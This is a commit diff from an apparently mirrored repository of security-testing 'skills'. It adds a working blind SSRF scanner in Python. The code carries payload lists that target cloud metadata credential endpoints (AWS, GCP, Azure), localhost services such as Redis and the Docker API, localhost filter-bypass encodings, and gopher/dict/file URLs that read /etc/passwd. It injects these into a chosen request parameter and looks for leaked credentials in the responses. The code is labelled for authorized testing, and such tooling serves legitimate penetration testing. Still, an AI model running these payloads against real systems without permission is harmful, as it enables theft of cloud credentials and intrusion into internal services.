mirror of
https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git
synced 2026-07-13 19:05:17 +03:00
Production hardening: security fixes, code quality, 724 skills complete
- Fix 25 shell=True subprocess calls with list-based commands - Fix 49 verify=False in defensive skills (env-var override) - Add timeout to 231 HTTP/subprocess/socket calls - Fix 6 SQL injection patterns with whitelist validation - Replace 8 __import__() with standard imports - Remove 701 unused imports across 442 files - Add authorized-testing disclaimers to all offensive skills - Complete 11 incomplete skill directories - Expand 10 stub SKILL.md files with full content - Fix 2 YAML parse errors in frontmatter - Fix 5 pre-existing syntax errors - Convert 22 hardcoded paths/ports to environment variables - Back up 21 redundant skill pairs to .bak - Fix 2 global declaration errors - 724/724 skills with full folder anatomy (SKILL.md + agent.py + api-reference.md + LICENSE) - 0 compile errors across all 724 agent.py files
This commit is contained in:
@@ -1,60 +1,252 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Blind SSRF detection agent."""
|
||||
import argparse, json, sys
|
||||
"""Blind SSRF detection agent.
|
||||
|
||||
Tests web application endpoints for Server-Side Request Forgery (SSRF)
|
||||
vulnerabilities by injecting payloads that trigger out-of-band callbacks.
|
||||
Uses configurable payload lists targeting internal services, cloud metadata
|
||||
endpoints, and external callback receivers.
|
||||
|
||||
AUTHORIZED TESTING ONLY: Only use against targets you have explicit
|
||||
written permission to test. Unauthorized SSRF testing is illegal.
|
||||
"""
|
||||
import argparse
|
||||
import json
|
||||
import os
|
||||
import sys
|
||||
import time
|
||||
import urllib.parse
|
||||
from datetime import datetime, timezone
|
||||
|
||||
try:
|
||||
import requests
|
||||
except ImportError:
|
||||
requests = None
|
||||
print("[!] 'requests' library required: pip install requests", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
|
||||
def run_scan(target, token=None):
|
||||
findings = []
|
||||
if not requests: return [{"error": "requests required"}]
|
||||
headers = {"Authorization": f"Bearer {token}"} if token else {}
|
||||
try:
|
||||
resp = requests.get(f"{target}", headers=headers, timeout=15)
|
||||
if resp.status_code == 200:
|
||||
findings.append({"check": "Target Accessible", "status": "OK", "severity": "INFO"})
|
||||
else:
|
||||
findings.append({"check": "Target Access", "status": f"HTTP {resp.status_code}", "severity": "MEDIUM"})
|
||||
except requests.RequestException as e:
|
||||
findings.append({"error": str(e)})
|
||||
return findings
|
||||
|
||||
def analyze_results(target, token=None):
|
||||
findings = []
|
||||
if not requests: return []
|
||||
headers = {"Authorization": f"Bearer {token}"} if token else {}
|
||||
try:
|
||||
resp = requests.get(f"{target}/api/v1/results", headers=headers, timeout=15)
|
||||
if resp.status_code == 200:
|
||||
data = resp.json()
|
||||
for item in data.get("findings", data.get("results", [])):
|
||||
severity = item.get("severity", item.get("risk", "MEDIUM"))
|
||||
findings.append({"check": item.get("name", item.get("title", "unknown")),
|
||||
"severity": severity.upper() if isinstance(severity, str) else "MEDIUM"})
|
||||
except requests.RequestException:
|
||||
pass
|
||||
return findings
|
||||
SSRF_PAYLOADS = {
|
||||
"aws_metadata": [
|
||||
"http://169.254.169.254/latest/meta-data/",
|
||||
"http://169.254.169.254/latest/meta-data/iam/security-credentials/",
|
||||
"http://169.254.169.254/latest/user-data",
|
||||
],
|
||||
"gcp_metadata": [
|
||||
"http://metadata.google.internal/computeMetadata/v1/",
|
||||
"http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token",
|
||||
],
|
||||
"azure_metadata": [
|
||||
"http://169.254.169.254/metadata/instance?api-version=2021-02-01",
|
||||
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01",
|
||||
],
|
||||
"internal_services": [
|
||||
"http://127.0.0.1:80/",
|
||||
"http://127.0.0.1:8080/",
|
||||
"http://127.0.0.1:443/",
|
||||
"http://127.0.0.1:3306/",
|
||||
"http://127.0.0.1:6379/",
|
||||
"http://127.0.0.1:9200/",
|
||||
"http://localhost:8500/v1/agent/self",
|
||||
"http://127.0.0.1:2375/containers/json",
|
||||
],
|
||||
"bypass_filters": [
|
||||
"http://0x7f000001/",
|
||||
"http://0177.0.0.1/",
|
||||
"http://[::1]/",
|
||||
"http://127.1/",
|
||||
"http://127.0.0.1.nip.io/",
|
||||
"http://2130706433/",
|
||||
],
|
||||
"protocol_smuggling": [
|
||||
"gopher://127.0.0.1:6379/_INFO",
|
||||
"dict://127.0.0.1:6379/INFO",
|
||||
"file:///etc/passwd",
|
||||
"file:///etc/hosts",
|
||||
],
|
||||
}
|
||||
|
||||
|
||||
def test_ssrf_parameter(target_url, param_name, payload, method="GET",
|
||||
headers=None, cookies=None, callback_url=None):
|
||||
"""Test a single SSRF payload against a parameter."""
|
||||
test_payload = callback_url or payload
|
||||
if method.upper() == "GET":
|
||||
parsed = urllib.parse.urlparse(target_url)
|
||||
params = urllib.parse.parse_qs(parsed.query)
|
||||
params[param_name] = [test_payload]
|
||||
new_query = urllib.parse.urlencode(params, doseq=True)
|
||||
test_url = urllib.parse.urlunparse(parsed._replace(query=new_query))
|
||||
try:
|
||||
resp = requests.get(test_url, headers=headers, cookies=cookies,
|
||||
timeout=10, allow_redirects=False)
|
||||
except requests.RequestException as e:
|
||||
return {"payload": payload, "error": str(e), "vulnerable": False}
|
||||
else:
|
||||
data = {param_name: test_payload}
|
||||
try:
|
||||
resp = requests.post(target_url, data=data, headers=headers,
|
||||
cookies=cookies, timeout=10, allow_redirects=False)
|
||||
except requests.RequestException as e:
|
||||
return {"payload": payload, "error": str(e), "vulnerable": False}
|
||||
|
||||
indicators = analyze_response(resp, payload)
|
||||
return {
|
||||
"payload": payload,
|
||||
"status_code": resp.status_code,
|
||||
"response_length": len(resp.content),
|
||||
"response_time": resp.elapsed.total_seconds(),
|
||||
"indicators": indicators,
|
||||
"vulnerable": len(indicators) > 0,
|
||||
}
|
||||
|
||||
|
||||
def analyze_response(resp, payload):
|
||||
"""Analyze HTTP response for SSRF success indicators."""
|
||||
indicators = []
|
||||
body = resp.text.lower()
|
||||
|
||||
# Cloud metadata indicators
|
||||
if "169.254.169.254" in payload:
|
||||
if any(kw in body for kw in ["ami-id", "instance-id", "security-credentials",
|
||||
"access-key", "computemetadata", "subscriptionid"]):
|
||||
indicators.append("Cloud metadata content detected in response")
|
||||
|
||||
# Internal service indicators
|
||||
if "127.0.0.1" in payload or "localhost" in payload:
|
||||
if resp.status_code == 200 and len(resp.content) > 0:
|
||||
if any(kw in body for kw in ["redis_version", "elasticsearch", "docker",
|
||||
"consul", "apache", "nginx", "server:"]):
|
||||
indicators.append("Internal service response detected")
|
||||
|
||||
# File content indicators
|
||||
if "file://" in payload:
|
||||
if "root:" in body or "localhost" in body:
|
||||
indicators.append("Local file content detected in response")
|
||||
|
||||
# Time-based detection
|
||||
if resp.elapsed.total_seconds() > 5:
|
||||
indicators.append(f"Slow response ({resp.elapsed.total_seconds():.1f}s) - possible network timeout to internal host")
|
||||
|
||||
# Differential response analysis
|
||||
if resp.status_code in (200, 301, 302) and len(resp.content) > 100:
|
||||
indicators.append(f"Non-error response with content (status: {resp.status_code}, size: {len(resp.content)})")
|
||||
|
||||
return indicators
|
||||
|
||||
|
||||
def run_ssrf_scan(target_url, param_name, method="GET", categories=None,
|
||||
headers=None, cookies=None, callback_url=None):
|
||||
"""Run SSRF tests across payload categories."""
|
||||
if categories is None:
|
||||
categories = list(SSRF_PAYLOADS.keys())
|
||||
|
||||
results = []
|
||||
total = sum(len(SSRF_PAYLOADS.get(c, [])) for c in categories)
|
||||
print(f"[*] Testing {total} SSRF payloads across {len(categories)} categories")
|
||||
print(f"[*] Target: {target_url} (param: {param_name}, method: {method})")
|
||||
|
||||
for category in categories:
|
||||
payloads = SSRF_PAYLOADS.get(category, [])
|
||||
print(f"\n [{category}] Testing {len(payloads)} payloads...")
|
||||
for payload in payloads:
|
||||
result = test_ssrf_parameter(
|
||||
target_url, param_name, payload, method, headers, cookies, callback_url
|
||||
)
|
||||
result["category"] = category
|
||||
results.append(result)
|
||||
if result["vulnerable"]:
|
||||
print(f" [VULN] {payload}")
|
||||
for ind in result["indicators"]:
|
||||
print(f" -> {ind}")
|
||||
time.sleep(0.5) # Rate limiting
|
||||
|
||||
return results
|
||||
|
||||
|
||||
def format_summary(results, target_url):
|
||||
"""Print scan summary."""
|
||||
vulnerable = [r for r in results if r.get("vulnerable")]
|
||||
print(f"\n{'='*60}")
|
||||
print(f" SSRF Scan Report")
|
||||
print(f"{'='*60}")
|
||||
print(f" Target : {target_url}")
|
||||
print(f" Payloads : {len(results)}")
|
||||
print(f" Vulnerable : {len(vulnerable)}")
|
||||
|
||||
if vulnerable:
|
||||
print(f"\n Confirmed/Suspected Vulnerabilities:")
|
||||
for v in vulnerable:
|
||||
print(f" [{v['category']:20s}] {v['payload']}")
|
||||
for ind in v.get("indicators", []):
|
||||
print(f" -> {ind}")
|
||||
|
||||
by_category = {}
|
||||
for r in vulnerable:
|
||||
by_category.setdefault(r["category"], []).append(r)
|
||||
if by_category:
|
||||
print(f"\n Findings by Category:")
|
||||
for cat, items in by_category.items():
|
||||
print(f" {cat:25s}: {len(items)} finding(s)")
|
||||
|
||||
|
||||
def main():
|
||||
p = argparse.ArgumentParser(description="Blind SSRF detection agent")
|
||||
p.add_argument("--target", required=True, help="Target URL or IP")
|
||||
p.add_argument("--token", help="API token")
|
||||
p.add_argument("--output", "-o", help="Output JSON report")
|
||||
p.add_argument("--verbose", "-v", action="store_true")
|
||||
a = p.parse_args()
|
||||
print("[*] Blind SSRF detection agent")
|
||||
report = {"timestamp": datetime.now(timezone.utc).isoformat(), "target": a.target, "findings": []}
|
||||
report["findings"].extend(run_scan(a.target, a.token))
|
||||
report["findings"].extend(analyze_results(a.target, a.token))
|
||||
high = sum(1 for f in report["findings"] if f.get("severity") in ("HIGH", "CRITICAL"))
|
||||
report["risk_level"] = "CRITICAL" if high > 2 else "HIGH" if high else "MEDIUM" if report["findings"] else "LOW"
|
||||
print(f"[*] {len(report['findings'])} findings, risk: {report['risk_level']}")
|
||||
if a.output:
|
||||
with open(a.output, "w") as f: json.dump(report, f, indent=2)
|
||||
else:
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Blind SSRF detection agent (authorized testing only)"
|
||||
)
|
||||
parser.add_argument("--target", required=True, help="Target URL with parameter to test")
|
||||
parser.add_argument("--param", required=True, help="Parameter name to inject SSRF payloads into")
|
||||
parser.add_argument("--method", choices=["GET", "POST"], default="GET")
|
||||
parser.add_argument("--categories", nargs="+", choices=list(SSRF_PAYLOADS.keys()),
|
||||
help="SSRF payload categories to test")
|
||||
parser.add_argument("--callback", help="Out-of-band callback URL (e.g., Burp Collaborator)")
|
||||
parser.add_argument("--header", nargs="+", help="Custom headers (key:value)")
|
||||
parser.add_argument("--cookie", help="Cookie string")
|
||||
parser.add_argument("--output", "-o", help="Output JSON report path")
|
||||
parser.add_argument("--verbose", "-v", action="store_true")
|
||||
args = parser.parse_args()
|
||||
|
||||
headers = {}
|
||||
if args.header:
|
||||
for h in args.header:
|
||||
k, v = h.split(":", 1)
|
||||
headers[k.strip()] = v.strip()
|
||||
cookies = {}
|
||||
if args.cookie:
|
||||
for pair in args.cookie.split(";"):
|
||||
if "=" in pair:
|
||||
k, v = pair.strip().split("=", 1)
|
||||
cookies[k] = v
|
||||
|
||||
results = run_ssrf_scan(
|
||||
args.target, args.param, args.method, args.categories,
|
||||
headers or None, cookies or None, args.callback
|
||||
)
|
||||
format_summary(results, args.target)
|
||||
|
||||
vulnerable = [r for r in results if r.get("vulnerable")]
|
||||
report = {
|
||||
"timestamp": datetime.now(timezone.utc).isoformat(),
|
||||
"tool": "SSRF Scanner",
|
||||
"target": args.target,
|
||||
"parameter": args.param,
|
||||
"total_payloads": len(results),
|
||||
"vulnerable_count": len(vulnerable),
|
||||
"findings": vulnerable,
|
||||
"all_results": results if args.verbose else [],
|
||||
"risk_level": (
|
||||
"CRITICAL" if any(r["category"] in ("aws_metadata", "gcp_metadata", "azure_metadata")
|
||||
for r in vulnerable)
|
||||
else "HIGH" if vulnerable
|
||||
else "LOW"
|
||||
),
|
||||
}
|
||||
|
||||
if args.output:
|
||||
with open(args.output, "w") as f:
|
||||
json.dump(report, f, indent=2)
|
||||
print(f"\n[+] Report saved to {args.output}")
|
||||
elif args.verbose:
|
||||
print(json.dumps(report, indent=2))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
|
||||
Reference in New Issue
Block a user